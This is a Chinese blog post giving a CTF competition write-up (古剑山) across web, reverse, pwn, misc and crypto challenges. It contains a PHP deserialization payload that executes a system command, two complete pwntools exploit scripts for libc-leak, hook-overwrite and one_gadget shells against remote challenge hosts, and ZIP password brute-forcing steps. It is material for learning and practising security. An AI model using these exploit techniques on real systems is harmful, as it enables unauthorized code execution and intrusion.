LUO 一个兴趣使然的人与他兴趣使然的博客

[古剑山]WP -- F14GThi3f

⚠️ 本文最后更新于2024年12月01日,已经过了104天没有更新,若内容或图片失效,请留言反馈

Web

un

刚开始看以为是目录遍历,但是读取index.php后发现是反序列化,构造链子

<?php
error_reporting(0);

class pop
{
    public $aaa;

    public static $bbb = false;
}

$shaw = new pop();
$shaw -> aaa = array('object'=>'phpinfo',1=>'system',2=>'tac /flag');
echo base64_encode(str_replace(":1:",":4:",serialize($shaw)));

Re

India Pale Ale

主逻辑在5C24函数中,很明显是先进行57E0的rc4然后进行一个base64

但是base64是改表了的

把表弄出来

#include <stdio.h>
#include <string.h>

void test() {
    unsigned char byte_100007F00[5] = {0xD, 0x11, 0x13, 0x17, 0x1D};
    unsigned char BASE64_table_10000D848[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    unsigned char xmmword_100007EC0[16] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
                                           0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F};
    unsigned char xmmword_100007ED0[16] = {0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
                                           0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F};
    unsigned char xmmword_100007EE0[16] = {0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
                                           0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F};
    unsigned char xmmword_100007EF0[16] = {0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
                                           0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F};

    unsigned char v10[64];
    memcpy(v10, xmmword_100007EC0, 16); 
    memcpy(v10 + 16, xmmword_100007ED0, 16); 
    memcpy(v10 + 32, xmmword_100007EE0, 16);
    memcpy(v10 + 48, xmmword_100007EF0, 16);

    unsigned char v7[64];
    int v1 = 0;
    int v2, v3, v4;
    size_t v0, i;

    for (v0 = 0; v0 < 64; ++v0) {
        v2 = v10[v0];
        v3 = v1 + v2 + byte_100007F00[v0 % 5];
        v4 = v3 + 63;
        if (v3 >= 0) {
            v4 = v3;
        }
        v1 = v3 - (v4 & 0xFFFFFFC0);
        unsigned char temp = v10[v0];
        v10[v0] = v10[v1];
        v10[v1] = temp;
    }

    for (i = 0; i < 64; ++i) {
        v7[i] = BASE64_table_10000D848[v10[i]];
    }

    for (i = 0; i < 64; ++i) {
        printf("%c", v7[i]);
    }
    printf("\n");
}

int main() {
    test();
    return 0;
}
//NF01ihUKST9q3lnjEBs47k2w5ad+AVHfPezg/CDyxrMLR6GvomIQJOXcpW8ZbutY

然后rc4的key也在初始化的时候和0xA5进行xor,得到转化后的密钥
0xf6 0xcc 0xc8 0xd5 0xc9 0xc0 0xee 0xc0 0xdc 0xed 0xc0 0xd7 0xc0
然后直接

Re

原题

https://blog.csdn.net/Breeze_CAT/article/details/104645943

Pwn

in

from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h', '-p', '80'])
# p = process("./inferno")
libc = ELF("./libc-2.23.so")
p = remote('XXXXXXXXX', XXXXX)

# gdb.attach(p, 'b *$rebase(0xA05)\n')
p.recvuntil('Size:\n')
p.sendline(str(0x5e6611))
p.recvuntil('Size:\n')
p.sendline(str(0x220000))

p.recvuntil('Data:')
p.send(p8(0x18))
p.send(p8(0x40))

p.recvline()
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x3c5640
print('libc_base:' + hex(libc.address))

one_gadget = libc.address + [0x45216,0x4526a,0xf02a4,0xf1147][3]
_dl_rtld_lock_recursive  = libc.address + 0x5f0040+3848

p.recvuntil('Now getshell!\n')
p.send(p64(_dl_rtld_lock_recursive))
p.send(p64(one_gadget)[:3])

p.interactive()

mis

from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h', '-p', '60'])
# p = process('./pwn')
p = remote('47.106.14.25', 34364)

def add(index, size, content):
    p.recvuntil('4.show\n')
    p.send(bytes(str('1'), 'utf-8').ljust(7, b'\x00'))
    p.recvuntil('Input index: ')
    p.send(bytes(str(index), 'utf-8').ljust(7, b'\x00'))
    p.recvuntil('Input size: ')
    p.send(bytes(str(size), 'utf-8').ljust(7, b'\x00'))
    p.recvuntil('Input note: ')
    p.send(content)
def delete(index):
    p.recvuntil('4.show\n')
    p.send(bytes(str('2'), 'utf-8').ljust(7, b'\x00'))
    p.recvuntil('Input index: ')
    p.send(bytes(str(index), 'utf-8').ljust(7, b'\x00'))
def edit(index, content):
    p.recvuntil('4.show\n')
    p.send(bytes(str('3'), 'utf-8').ljust(7, b'\x00'))
    p.recvuntil('Input index: ')
    p.send(bytes(str(index), 'utf-8').ljust(7, b'\x00'))
    p.recvuntil('Input note: ')
    p.send(content)
def show(index):
    p.recvuntil('4.show\n')
    p.send(bytes(str('4'), 'utf-8').ljust(7, b'\x00'))
    p.recvuntil('Input index: ')
    p.send(bytes(str(index), 'utf-8').ljust(7, b'\x00'))

# 泄露libc
add(0, 0x80, b'a'*(0x80 - 1))
add(1, 0xA0, b'a'*(0x80 - 1))
add(2, 0xA0, b'a'*(0x80 - 1))
add(3, 0x80, b'a'*(0x80 - 1))
add(4, 0xA0, b'a'*(0x80 - 1))
add(5, 0xA0, b'a'*(0x80 - 1))
add(6, 0xA0, b'a'*(0x80 - 1))
add(7, 0xA0, b'a'*(0x80 - 1))
add(8, 0x80, b'a'*(0x80 - 1))

# 放入tcache bin
delete(0)
delete(3)
# delete(5)
delete(6)
# delete(7)
delete(8)
delete(2)
delete(1)
delete(4)

# 放入unsorted bin
delete(5)
delete(7)

add(4, 0xA0, b'a'*(0x80 - 1))
show(4)
p.recv(0x90)
libc_base = u64(p.recv(8)) - 0x3ebca0
heap_base = u64(p.recv(8)) - 0x640
print(hex(libc_base))
print(hex(heap_base))

one_gadget = libc_base + [0x4f35e, 0x4f365, 0x4f3c2, 0x10a45c][3]
libc = ELF('./libc.so')
libc.address = libc_base
hook = libc.sym['__malloc_hook']

# 改hook
add(1, 0xA0, b'a'*(0x80 - 1))
edit(1, b'a' * 0x80 + p64(0) + p64(0x91) + p64(hook))

add(2, 0x80, b'a'*(0x80 - 1))
# *$rebase(0x202060)
add(2, 8, b'a'*(0x80 - 1))
edit(2, p64(one_gadget))
add(2, 8, b'a'*(0x20))

# gdb.attach(p)
p.interactive()

Misc

JPG

PDF #PNG

扔进 010 分析
发现图片后藏了个压缩包

压缩包中有三个文件

- flag.pdf   
    - flag.txt  
    - hash512.txt  
        将压缩包数据提取出来后尝试修复伪加密  
        flag.pdf 可以解压 剩下两个真有密码  
        直接打开 PDF 里面写这 **Flag is not here**  
        用神奇小工具分析 flag.pdf  
        发现藏有 psd 特征字节  
        ![](pic/Pasted%20image%2020241130214909.png)![](http://img.goubuli.online/blog/20241201115524.png)  
        继续往下分析  
        在另一个 psd 特征字节流的底下发现 PNG 文件尾  
        ![](pic/Pasted%20image%2020241130215034.png)![](http://img.goubuli.online/blog/20241201115534.png)  
        全选后右键保存  
        扔进 010 分析  
        爆搜还有发现 png 文件头  
        ![](pic/Pasted%20image%2020241130215220.png)![](http://img.goubuli.online/blog/20241201115540.png)  
        处理一下将其他部分去掉得到完整 png  
        ![](pic/csdnm_CAB60h_CFBh.png)![](http://img.goubuli.online/blog/20241201115548.png)  
        微信扫码得到
67f480eff11781617044bd47fb9535cfb0e4b6a09e51daff2107c536e9d4eebb3d517cfea6e3f176d4e0d37a9f3658845f3d1917cfce30a4f44ffa2e0af58485

正好 128 位,符合 SHA512 哈希值的位数
将其保存到一个 sha512.txt 中
打个压缩包 发现和前面压缩包中的 sha512.txt 的 CRC32 值相同
用 7z 将前面压缩包(未修伪加密版)中的 flag.pdf 删去
用 ARCHPR 明文爆破
爆破出密钥后就停止 用密钥解密压缩包得到flag

flag{10e23151aa0da35221a81dff81a53b4e}

蓝背包

ZIP #PNG #隐写

解压压缩包发现,发现有 182 个新的压缩包
将 1.zip 扔进 ARCHPR 爆破
爆破出密码为 10001
![[Pasted image 20241201000348.png]]
将 2.zip 扔进 ARCHPR 爆破
密码为 10002
![[Pasted image 20241201000923.png]]
那么推测后续的压缩包密码也是同理增长
用 10003 为密码解压 3.zip -> 成功解压,验证猜想 √

分析 1.zip 解压出的文件 saa
发现 PNG 头
![[Pasted image 20241201000300.png]]
拉到最底,发现缺少图片尾
那么猜测是将所有压缩包解压后文件名顺序挨个拼接

写个脚本将所有 zip 挨个解压

import os

import zipfile

import re

  

def extract_number(filename):

    """提取文件名中的数字部分用于排序"""

    match = re.search(r'\d+', filename)

    return int(match.group()) if match else float('inf')  # 如果没有找到数字,返回无穷大

  

def unzip_with_incremental_passwords(folder_path):

    # 获取文件夹中的所有zip文件并按文件名中的数字排序

    zip_files = sorted(

        [f for f in os.listdir(folder_path) if f.endswith('.zip')],

        key=extract_number

    )

    for index, zip_file in enumerate(zip_files):

        zip_path = os.path.join(folder_path, zip_file)

        password = str(10001 + index).encode('utf-8')  # 生成密码 (10001, 10002, ...)

        try:

            with zipfile.ZipFile(zip_path) as z:

                z.extractall(folder_path, pwd=password)  # 使用生成的密码解压

            print(f"解压成功: {zip_file} 使用密码: {password.decode('utf-8')}")

        except (RuntimeError, zipfile.BadZipFile) as e:

            print(f"解压失败: {zip_file} 原因: {e}")

  

if __name__ == "__main__":

    folder_path = r'C:\Users\daydr\Downloads\069db7f5cb3f400ba9a1eef0ebb78390'

    unzip_with_incremental_passwords(folder_path)

再将其按文件名拼在一起

import os

  

def concatenate_files_in_folder(folder_path, output_file):

    # 获取文件夹中的所有文件,并按文件名排序

    files = sorted(

        [f for f in os.listdir(folder_path) if os.path.isfile(os.path.join(folder_path, f))]

    )

  

    with open(output_file, 'wb') as outfile:  # 以字节模式写入输出文件

        for file in files:

            file_path = os.path.join(folder_path, file)

            with open(file_path, 'rb') as infile:  # 以字节模式读取文件

                outfile.write(infile.read())  # 将文件内容写入输出文件

                print(f"已拼接文件: {file}")

  

    print(f"所有文件已拼接到: {output_file}")

  

if __name__ == "__main__":

    folder_path = r'C:\Users\daydr\Downloads\069db7f5cb3f400ba9a1eef0ebb78390\1'

    output_file = os.path.join(folder_path, 'concatenated_output.bin')  # 输出文件名

    concatenate_files_in_folder(folder_path, output_file)

得到完整图片

尝试多种隐写工具
最终用B神的神奇小工具成功解密

flag{8719e663c0507cecbff2db103a7f7cd7}

Crypto

cs

前几天刚做了一道棋盘密码,看到这题就感觉和棋盘

密码比较相像,两两分组后,发现前四个'i组合的第

二个字母位移两位得到'flag',即得到jh(f) jn(l) jc(a)

iilg) km kf ji(h) jk(i) ke jk(i) ke kd jg(e) ic(a) in(l) jh(f)

jn(l) jc(a) ji(g) ko[flaghiiealflag],密文应该为-

个通顺的语句,就想将ke->s然后得到ih(f)in(l)jc(a)

iilg) km(a) kf(t) ii(h) jk(i) ke(s) jk(i) ke(s) kd(r) jg(e)

jc(a) jn(l) jh(f) jn(l) jc(a) jilg) ko(c)

[flagathisisrealflagc],一开始以为这个语句为flag at

his is real flag c,尝试截断出其中可能的部分上传

均失败,然后突然发现语句可以断为flag athisis

realflagc,再将a,c转化为即为flag

flagithisisrealflag}

By F14GThi3f On
  1. 头像
    @
    文化底蕴深厚,引经据典信手拈来。
    · Windows · Chrome
  2. 头像
    @
    作者对主题的挖掘深入骨髓,展现了非凡的洞察力和理解力。
    · Windows · Chrome